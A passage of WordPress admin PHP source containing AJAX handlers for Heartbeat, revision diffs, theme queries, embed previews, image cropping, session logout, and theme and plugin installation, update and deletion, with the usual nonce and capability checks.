		if ( 'audio' === $ext_type || 'video' === $ext_type ) {
			$type = $ext_type;
		}
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( "{$type}_send_to_editor_url", $html, $src, $link_text );

	wp_send_json_success( $html );
}

/**
 * Handles the Heartbeat API via AJAX.
 *
 * Runs when the user is logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_heartbeat() {
	if ( empty( $_POST['_nonce'] ) ) {
		wp_send_json_error();
	}

	$response    = array();
	$data        = array();
	$nonce_state = wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' );

	// 'screen_id' is the same as $current_screen->id and the JS global 'pagenow'.
	if ( ! empty( $_POST['screen_id'] ) ) {
		$screen_id = sanitize_key( $_POST['screen_id'] );
	} else {
		$screen_id = 'front';
	}

	if ( ! empty( $_POST['data'] ) ) {
		$data = wp_unslash( (array) $_POST['data'] );
	}

	if ( 1 !== $nonce_state ) {
		/**
		 * Filters the nonces to send to the New/Edit Post screen.
		 *
		 * @since 4.3.0
		 *
		 * @param array  $response  The Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'wp_refresh_nonces', $response, $data, $screen_id );

		if ( false === $nonce_state ) {
			// User is logged in but nonces have expired.
			$response['nonces_expired'] = true;
			wp_send_json( $response );
		}
	}

	if ( ! empty( $data ) ) {
		/**
		 * Filters the Heartbeat response received.
		 *
		 * @since 3.6.0
		 *
		 * @param array  $response  The Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
	}

	/**
	 * Filters the Heartbeat response sent.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	$response = apply_filters( 'heartbeat_send', $response, $screen_id );

	/**
	 * Fires when Heartbeat ticks in logged-in environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	do_action( 'heartbeat_tick', $response, $screen_id );

	// Send the current time according to the server.
	$response['server_time'] = time();

	wp_send_json( $response );
}

/**
 * Handles getting revision diffs via AJAX.
 *
 * @since 3.6.0
 */
function wp_ajax_get_revision_diffs() {
	require ABSPATH . 'wp-admin/includes/revision.php';

	$post = get_post( (int) $_REQUEST['post_id'] );
	if ( ! $post ) {
		wp_send_json_error();
	}

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		wp_send_json_error();
	}

	// Really just pre-loading the cache here.
	$revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) );
	if ( ! $revisions ) {
		wp_send_json_error();
	}

	$return = array();

	if ( function_exists( 'set_time_limit' ) ) {
		set_time_limit( 0 );
	}

	foreach ( $_REQUEST['compare'] as $compare_key ) {
		list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to

		$return[] = array(
			'id'     => $compare_key,
			'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
		);
	}
	wp_send_json_success( $return );
}

/**
 * Handles auto-saving the selected color scheme for
 * a user's own profile via AJAX.
 *
 * @since 3.8.0
 *
 * @global array $_wp_admin_css_colors
 */
function wp_ajax_save_user_color_scheme() {
	global $_wp_admin_css_colors;

	check_ajax_referer( 'save-color-scheme', 'nonce' );

	$color_scheme = sanitize_key( $_POST['color_scheme'] );

	if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
		wp_send_json_error();
	}

	$previous_color_scheme = get_user_meta( get_current_user_id(), 'admin_color', true );
	update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );

	wp_send_json_success(
		array(
			'previousScheme' => 'admin-color-' . $previous_color_scheme,
			'currentScheme'  => 'admin-color-' . $color_scheme,
		)
	);
}

/**
 * Handles getting themes from themes_api() via AJAX.
 *
 * @since 3.9.0
 *
 * @global array $themes_allowedtags
 * @global array $theme_field_defaults
 */
function wp_ajax_query_themes() {
	global $themes_allowedtags, $theme_field_defaults;

	if ( ! current_user_can( 'install_themes' ) ) {
		wp_send_json_error();
	}

	$args = wp_parse_args(
		wp_unslash( $_REQUEST['request'] ),
		array(
			'per_page' => 20,
			'fields'   => array_merge(
				(array) $theme_field_defaults,
				array(
					'reviews_url' => true, // Explicitly request the reviews URL to be linked from the Add Themes screen.
				)
			),
		)
	);

	if ( isset( $args['browse'] ) && 'favorites' === $args['browse'] && ! isset( $args['user'] ) ) {
		$user = get_user_option( 'wporg_favorites' );
		if ( $user ) {
			$args['user'] = $user;
		}
	}

	$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';

	/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
	$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );

	$api = themes_api( 'query_themes', $args );

	if ( is_wp_error( $api ) ) {
		wp_send_json_error();
	}

	$update_php = network_admin_url( 'update.php?action=install-theme' );

	$installed_themes = search_theme_directories();

	if ( false === $installed_themes ) {
		$installed_themes = array();
	}

	foreach ( $installed_themes as $theme_slug => $theme_data ) {
		// Ignore child themes.
		if ( str_contains( $theme_slug, '/' ) ) {
			unset( $installed_themes[ $theme_slug ] );
		}
	}

	foreach ( $api->themes as &$theme ) {
		$theme->install_url = add_query_arg(
			array(
				'theme'    => $theme->slug,
				'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ),
			),
			$update_php
		);

		if ( current_user_can( 'switch_themes' ) ) {
			if ( is_multisite() ) {
				$theme->activate_url = add_query_arg(
					array(
						'action'   => 'enable',
						'_wpnonce' => wp_create_nonce( 'enable-theme_' . $theme->slug ),
						'theme'    => $theme->slug,
					),
					network_admin_url( 'themes.php' )
				);
			} else {
				$theme->activate_url = add_query_arg(
					array(
						'action'     => 'activate',
						'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $theme->slug ),
						'stylesheet' => $theme->slug,
					),
					admin_url( 'themes.php' )
				);
			}
		}

		$is_theme_installed = array_key_exists( $theme->slug, $installed_themes );

		// We only care about installed themes.
		$theme->block_theme = $is_theme_installed && wp_get_theme( $theme->slug )->is_block_theme();

		if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
			$customize_url = $theme->block_theme ? admin_url( 'site-editor.php' ) : wp_customize_url( $theme->slug );

			$theme->customize_url = add_query_arg(
				array(
					'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
				),
				$customize_url
			);
		}

		$theme->name        = wp_kses( $theme->name, $themes_allowedtags );
		$theme->author      = wp_kses( $theme->author['display_name'], $themes_allowedtags );
		$theme->version     = wp_kses( $theme->version, $themes_allowedtags );
		$theme->description = wp_kses( $theme->description, $themes_allowedtags );

		$theme->stars = wp_star_rating(
			array(
				'rating' => $theme->rating,
				'type'   => 'percent',
				'number' => $theme->num_ratings,
				'echo'   => false,
			)
		);

		$theme->num_ratings    = number_format_i18n( $theme->num_ratings );
		$theme->preview_url    = set_url_scheme( $theme->preview_url );
		$theme->compatible_wp  = is_wp_version_compatible( $theme->requires );
		$theme->compatible_php = is_php_version_compatible( $theme->requires_php );
	}

	wp_send_json_success( $api );
}

/**
 * Applies [embed] Ajax handlers to a string.
 *
 * @since 4.0.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Embed   $wp_embed   Embed API instance.
 * @global WP_Scripts $wp_scripts
 * @global int        $content_width
 */
function wp_ajax_parse_embed() {
	global $post, $wp_embed, $content_width;

	if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}

	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;

	if ( $post_id > 0 ) {
		$post = get_post( $post_id );

		if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
			wp_send_json_error();
		}
		setup_postdata( $post );
	} elseif ( ! current_user_can( 'edit_posts' ) ) { // See WP_oEmbed_Controller::get_proxy_item_permissions_check().
		wp_send_json_error();
	}

	$shortcode = wp_unslash( $_POST['shortcode'] );

	preg_match( '/' . get_shortcode_regex() . '/s', $shortcode, $matches );
	$atts = shortcode_parse_atts( $matches[3] );

	if ( ! empty( $matches[5] ) ) {
		$url = $matches[5];
	} elseif ( ! empty( $atts['src'] ) ) {
		$url = $atts['src'];
	} else {
		$url = '';
	}

	$parsed                         = false;
	$wp_embed->return_false_on_fail = true;

	if ( 0 === $post_id ) {
		/*
		 * Refresh oEmbeds cached outside of posts that are past their TTL.
		 * Posts are excluded because they have separate logic for refreshing
		 * their post meta caches. See WP_Embed::cache_oembed().
		 */
		$wp_embed->usecache = false;
	}

	if ( is_ssl() && str_starts_with( $url, 'http://' ) ) {
		/*
		 * Admin is ssl and the user pasted non-ssl URL.
		 * Check if the provider supports ssl embeds and use that for the preview.
		 */
		$ssl_shortcode = preg_replace( '%^(\\[embed[^\\]]*\\])http://%i', '$1https://', $shortcode );
		$parsed        = $wp_embed->run_shortcode( $ssl_shortcode );

		if ( ! $parsed ) {
			$no_ssl_support = true;
		}
	}

	// Set $content_width so any embeds fit in the destination iframe.
	if ( isset( $_POST['maxwidth'] ) && is_numeric( $_POST['maxwidth'] ) && $_POST['maxwidth'] > 0 ) {
		if ( ! isset( $content_width ) ) {
			$content_width = (int) $_POST['maxwidth'];
		} else {
			$content_width = min( $content_width, (int) $_POST['maxwidth'] );
		}
	}

	if ( $url && ! $parsed ) {
		$parsed = $wp_embed->run_shortcode( $shortcode );
	}

	if ( ! $parsed ) {
		wp_send_json_error(
			array(
				'type'    => 'not-embeddable',
				/* translators: %s: URL that could not be embedded. */
				'message' => sprintf( __( '%s failed to embed.' ), '<code>' . esc_html( $url ) . '</code>' ),
			)
		);
	}

	if ( has_shortcode( $parsed, 'audio' ) || has_shortcode( $parsed, 'video' ) ) {
		$styles     = '';
		$mce_styles = wpview_media_sandbox_styles();

		foreach ( $mce_styles as $style ) {
			$styles .= sprintf( '<link rel="stylesheet" href="%s" />', $style );
		}

		$html = do_shortcode( $parsed );

		global $wp_scripts;

		if ( ! empty( $wp_scripts ) ) {
			$wp_scripts->done = array();
		}

		ob_start();
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
		$scripts = ob_get_clean();

		$parsed = $styles . $html . $scripts;
	}

	if ( ! empty( $no_ssl_support ) || ( is_ssl() && ( preg_match( '%<(iframe|script|embed) [^>]*src="http://%', $parsed ) ||
		preg_match( '%<link [^>]*href="http://%', $parsed ) ) ) ) {
		// Admin is ssl and the embed is not. Iframes, scripts, and other "active content" will be blocked.
		wp_send_json_error(
			array(
				'type'    => 'not-ssl',
				'message' => __( 'This preview is unavailable in the editor.' ),
			)
		);
	}

	$return = array(
		'body' => $parsed,
		'attr' => $wp_embed->last_attr,
	);

	if ( str_contains( $parsed, 'class="wp-embedded-content' ) ) {
		if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
			$script_src = includes_url( 'js/wp-embed.js' );
		} else {
			$script_src = includes_url( 'js/wp-embed.min.js' );
		}

		$return['head']    = '<script src="' . $script_src . '"></script>';
		$return['sandbox'] = true;
	}

	wp_send_json_success( $return );
}

/**
 * @since 4.0.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Scripts $wp_scripts
 */
function wp_ajax_parse_media_shortcode() {
	global $post, $wp_scripts;

	if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}

	$shortcode = wp_unslash( $_POST['shortcode'] );

	// Only process previews for media related shortcodes:
	$found_shortcodes = get_shortcode_tags_in_content( $shortcode );
	$media_shortcodes = array(
		'audio',
		'embed',
		'playlist',
		'video',
		'gallery',
	);

	$other_shortcodes = array_diff( $found_shortcodes, $media_shortcodes );

	if ( ! empty( $other_shortcodes ) ) {
		wp_send_json_error();
	}

	if ( ! empty( $_POST['post_ID'] ) ) {
		$post = get_post( (int) $_POST['post_ID'] );
	}

	// The embed shortcode requires a post.
	if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
		if ( in_array( 'embed', $found_shortcodes, true ) ) {
			wp_send_json_error();
		}
	} else {
		setup_postdata( $post );
	}

	$parsed = do_shortcode( $shortcode );

	if ( empty( $parsed ) ) {
		wp_send_json_error(
			array(
				'type'    => 'no-items',
				'message' => __( 'No items found.' ),
			)
		);
	}

	$head   = '';
	$styles = wpview_media_sandbox_styles();

	foreach ( $styles as $style ) {
		$head .= '<link type="text/css" rel="stylesheet" href="' . $style . '">';
	}

	if ( ! empty( $wp_scripts ) ) {
		$wp_scripts->done = array();
	}

	ob_start();

	echo $parsed;

	if ( 'playlist' === $_REQUEST['type'] ) {
		wp_underscore_playlist_templates();

		wp_print_scripts( 'wp-playlist' );
	} else {
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
	}

	wp_send_json_success(
		array(
			'head' => $head,
			'body' => ob_get_clean(),
		)
	);
}

/**
 * Handles destroying multiple open sessions for a user via AJAX.
 *
 * @since 4.1.0
 */
function wp_ajax_destroy_sessions() {
	$user = get_userdata( (int) $_POST['user_id'] );

	if ( $user ) {
		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			$user = false;
		} elseif ( ! wp_verify_nonce( $_POST['nonce'], 'update-user_' . $user->ID ) ) {
			$user = false;
		}
	}

	if ( ! $user ) {
		wp_send_json_error(
			array(
				'message' => __( 'Could not log out user sessions. Please try again.' ),
			)
		);
	}

	$sessions = WP_Session_Tokens::get_instance( $user->ID );

	if ( get_current_user_id() === $user->ID ) {
		$sessions->destroy_others( wp_get_session_token() );
		$message = __( 'You are now logged out everywhere else.' );
	} else {
		$sessions->destroy_all();
		/* translators: %s: User's display name. */
		$message = sprintf( __( '%s has been logged out.' ), $user->display_name );
	}

	wp_send_json_success( array( 'message' => $message ) );
}

/**
 * Handles cropping an image via AJAX.
 *
 * @since 4.3.0
 */
function wp_ajax_crop_image() {
	$attachment_id = absint( $_POST['id'] );

	check_ajax_referer( 'image_editor-' . $attachment_id, 'nonce' );

	if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_send_json_error();
	}

	$context = str_replace( '_', '-', $_POST['context'] );
	$data    = array_map( 'absint', $_POST['cropDetails'] );
	$cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );

	if ( ! $cropped || is_wp_error( $cropped ) ) {
		wp_send_json_error( array( 'message' => __( 'Image could not be processed.' ) ) );
	}

	switch ( $context ) {
		case 'site-icon':
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-icon.php';
			$wp_site_icon = new WP_Site_Icon();

			// Skip creating a new attachment if the attachment is a Site Icon.
			if ( get_post_meta( $attachment_id, '_wp_attachment_context', true ) == $context ) {

				// Delete the temporary cropped file, we don't need it.
				wp_delete_file( $cropped );

				// Additional sizes in wp_prepare_attachment_for_js().
				add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
				break;
			}

			/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$cropped    = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
			$attachment = $wp_site_icon->create_attachment_object( $cropped, $attachment_id );
			unset( $attachment['ID'] );

			// Update the attachment.
			add_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
			$attachment_id = $wp_site_icon->insert_attachment( $attachment, $cropped );
			remove_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );

			// Additional sizes in wp_prepare_attachment_for_js().
			add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
			break;

		default:
			/**
			 * Fires before a cropped image is saved.
			 *
			 * Allows to add filters to modify the way a cropped image is saved.
			 *
			 * @since 4.3.0
			 *
			 * @param string $context       The Customizer control requesting the cropped image.
			 * @param int    $attachment_id The attachment ID of the original image.
			 * @param string $cropped       Path to the cropped image file.
			 */
			do_action( 'wp_ajax_crop_image_pre_save', $context, $attachment_id, $cropped );

			/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

			$parent_url      = wp_get_attachment_url( $attachment_id );
			$parent_basename = wp_basename( $parent_url );
			$url             = str_replace( $parent_basename, wp_basename( $cropped ), $parent_url );

			$size       = wp_getimagesize( $cropped );
			$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

			// Get the original image's post to pre-populate the cropped image.
			$original_attachment  = get_post( $attachment_id );
			$sanitized_post_title = sanitize_file_name( $original_attachment->post_title );
			$use_original_title   = (
				( '' !== trim( $original_attachment->post_title ) ) &&
				/*
				 * Check if the original image has a title other than the "filename" default,
				 * meaning the image had a title when originally uploaded or its title was edited.
				 */
				( $parent_basename !== $sanitized_post_title ) &&
				( pathinfo( $parent_basename, PATHINFO_FILENAME ) !== $sanitized_post_title )
			);
			$use_original_description = ( '' !== trim( $original_attachment->post_content ) );

			$attachment = array(
				'post_title'     => $use_original_title ? $original_attachment->post_title : wp_basename( $cropped ),
				'post_content'   => $use_original_description ? $original_attachment->post_content : $url,
				'post_mime_type' => $image_type,
				'guid'           => $url,
				'context'        => $context,
			);

			// Copy the image caption attribute (post_excerpt field) from the original image.
			if ( '' !== trim( $original_attachment->post_excerpt ) ) {
				$attachment['post_excerpt'] = $original_attachment->post_excerpt;
			}

			// Copy the image alt text attribute from the original image.
			if ( '' !== trim( $original_attachment->_wp_attachment_image_alt ) ) {
				$attachment['meta_input'] = array(
					'_wp_attachment_image_alt' => wp_slash( $original_attachment->_wp_attachment_image_alt ),
				);
			}

			$attachment_id = wp_insert_attachment( $attachment, $cropped );
			$metadata      = wp_generate_attachment_metadata( $attachment_id, $cropped );

			/**
			 * Filters the cropped image attachment metadata.
			 *
			 * @since 4.3.0
			 *
			 * @see wp_generate_attachment_metadata()
			 *
			 * @param array $metadata Attachment metadata.
			 */
			$metadata = apply_filters( 'wp_ajax_cropped_attachment_metadata', $metadata );
			wp_update_attachment_metadata( $attachment_id, $metadata );

			/**
			 * Filters the attachment ID for a cropped image.
			 *
			 * @since 4.3.0
			 *
			 * @param int    $attachment_id The attachment ID of the cropped image.
			 * @param string $context       The Customizer control requesting the cropped image.
			 */
			$attachment_id = apply_filters( 'wp_ajax_cropped_attachment_id', $attachment_id, $context );
	}

	wp_send_json_success( wp_prepare_attachment_for_js( $attachment_id ) );
}

/**
 * Handles generating a password via AJAX.
 *
 * @since 4.4.0
 */
function wp_ajax_generate_password() {
	wp_send_json_success( wp_generate_password( 24 ) );
}

/**
 * Handles generating a password in the no-privilege context via AJAX.
 *
 * @since 5.7.0
 */
function wp_ajax_nopriv_generate_password() {
	wp_send_json_success( wp_generate_password( 24 ) );
}

/**
 * Handles saving the user's WordPress.org username via AJAX.
 *
 * @since 4.4.0
 */
function wp_ajax_save_wporg_username() {
	if ( ! current_user_can( 'install_themes' ) && ! current_user_can( 'install_plugins' ) ) {
		wp_send_json_error();
	}

	check_ajax_referer( 'save_wporg_username_' . get_current_user_id() );

	$username = isset( $_REQUEST['username'] ) ? wp_unslash( $_REQUEST['username'] ) : false;

	if ( ! $username ) {
		wp_send_json_error();
	}

	wp_send_json_success( update_user_meta( get_current_user_id(), 'wporg_favorites', $username ) );
}

/**
 * Handles installing a theme via AJAX.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_install_theme() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

	$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );

	$status = array(
		'install' => 'theme',
		'slug'    => $slug,
	);

	if ( ! current_user_can( 'install_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install themes on this site.' );
		wp_send_json_error( $status );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	require_once ABSPATH . 'wp-admin/includes/theme.php';

	$api = themes_api(
		'theme_information',
		array(
			'slug'   => $slug,
			'fields' => array( 'sections' => false ),
		)
	);

	if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $result ) ) {
		$status['errorCode']    = $result->get_error_code();
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_null( $result ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	$status['themeName'] = wp_get_theme( $slug )->get( 'Name' );

	if ( current_user_can( 'switch_themes' ) ) {
		if ( is_multisite() ) {
			$status['activateUrl'] = add_query_arg(
				array(
					'action'   => 'enable',
					'_wpnonce' => wp_create_nonce( 'enable-theme_' . $slug ),
					'theme'    => $slug,
				),
				network_admin_url( 'themes.php' )
			);
		} else {
			$status['activateUrl'] = add_query_arg(
				array(
					'action'     => 'activate',
					'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $slug ),
					'stylesheet' => $slug,
				),
				admin_url( 'themes.php' )
			);
		}
	}

	$theme                = wp_get_theme( $slug );
	$status['blockTheme'] = $theme->is_block_theme();

	if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
		$status['customizeUrl'] = add_query_arg(
			array(
				'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
			),
			wp_customize_url( $slug )
		);
	}

	/*
	 * See WP_Theme_Install_List_Table::_get_theme_status() if we wanted to check
	 * on post-installation status.
	 */
	wp_send_json_success( $status );
}

/**
 * Handles updating a theme via AJAX.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_update_theme() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

	$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'update'     => 'theme',
		'slug'       => $stylesheet,
		'oldVersion' => '',
		'newVersion' => '',
	);

	if ( ! current_user_can( 'update_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update themes for this site.' );
		wp_send_json_error( $status );
	}

	$theme = wp_get_theme( $stylesheet );
	if ( $theme->exists() ) {
		$status['oldVersion'] = $theme->get( 'Version' );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	$current = get_site_transient( 'update_themes' );
	if ( empty( $current ) ) {
		wp_update_themes();
	}

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $stylesheet ) );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_array( $result ) && ! empty( $result[ $stylesheet ] ) ) {

		// Theme is already at the latest version.
		if ( true === $result[ $stylesheet ] ) {
			$status['errorMessage'] = $upgrader->strings['up_to_date'];
			wp_send_json_error( $status );
		}

		$theme = wp_get_theme( $stylesheet );
		if ( $theme->exists() ) {
			$status['newVersion'] = $theme->get( 'Version' );
		}

		wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	// An unhandled error occurred.
	$status['errorMessage'] = __( 'Theme update failed.' );
	wp_send_json_error( $status );
}

/**
 * Handles deleting a theme via AJAX.
 *
 * @since 4.6.0
 *
 * @see delete_theme()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_delete_theme() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

	$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'delete' => 'theme',
		'slug'   => $stylesheet,
	);

	if ( ! current_user_can( 'delete_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete themes on this site.' );
		wp_send_json_error( $status );
	}

	if ( ! wp_get_theme( $stylesheet )->exists() ) {
		$status['errorMessage'] = __( 'The requested theme does not exist.' );
		wp_send_json_error( $status );
	}

	// Check filesystem credentials. `delete_theme()` will bail otherwise.
	$url = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );

	ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();

	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	require_once ABSPATH . 'wp-admin/includes/theme.php';

	$result = delete_theme( $stylesheet );

	if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Theme could not be deleted.' );
		wp_send_json_error( $status );
	}

	wp_send_json_success( $status );
}

/**
 * Handles installing a plugin via AJAX.
 *
 * @since 4.6.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_install_plugin() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

	$status = array(
		'install' => 'plugin',
		'slug'    => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

	if ( ! current_user_can( 'install_plugins' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install plugins on this site.' );
		wp_send_json_error( $status );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

	$api = plugins_api(
		'plugin_information',
		array(
			'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
			'fields' => array(
				'sections' => false,
			),
		)
	);

	if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

	$status['pluginName'] = $api->name;

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $result ) ) {
		$status['errorCode']    = $result->get_error_code();
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_null( $result ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
